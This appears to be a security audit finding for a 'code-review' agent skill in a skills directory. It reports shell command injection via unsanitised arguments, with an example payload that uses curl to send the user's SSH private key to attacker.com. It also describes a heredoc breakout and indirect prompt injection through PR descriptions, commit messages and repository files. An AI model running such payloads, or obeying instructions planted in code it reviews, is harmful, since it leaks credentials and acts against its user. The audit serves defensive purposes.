The Agent Skills Directory

[COMMAND_EXECUTION]: The skill uses the $ARGUMENTS variable directly in shell commands such as gh pr diff $ARGUMENTS and gh pr view $PR without prior validation or sanitization. An attacker providing a crafted string as an argument (e.g., 1; curl http://attacker.com/$(cat ~/.ssh/id_rsa)) could execute arbitrary commands.
[COMMAND_EXECUTION]: When posting PR comments, the skill wraps AI-generated summaries in a shell heredoc (cat <<'EOF'). If the AI, potentially influenced by indirect prompt injection from the code it is reviewing, generates a line matching the EOF delimiter, it could break out of the command and execute malicious shell code.
[PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection as it is instructed to 'understand the intent' from untrusted sources like PR descriptions, commit messages, and the codebase itself.
Ingestion points: PR descriptions, commit messages, repository file contents, and CLAUDE.md files (SKILL.md).
Boundary markers: None identified. The skill reads raw text from these sources without delimiters or specific instructions to ignore embedded instructions.
Capability inventory: Shell execution for git and gh operations, and GitHub API access.
Sanitization: No sanitization or validation of external content before processing or interpolation into commands.

code-review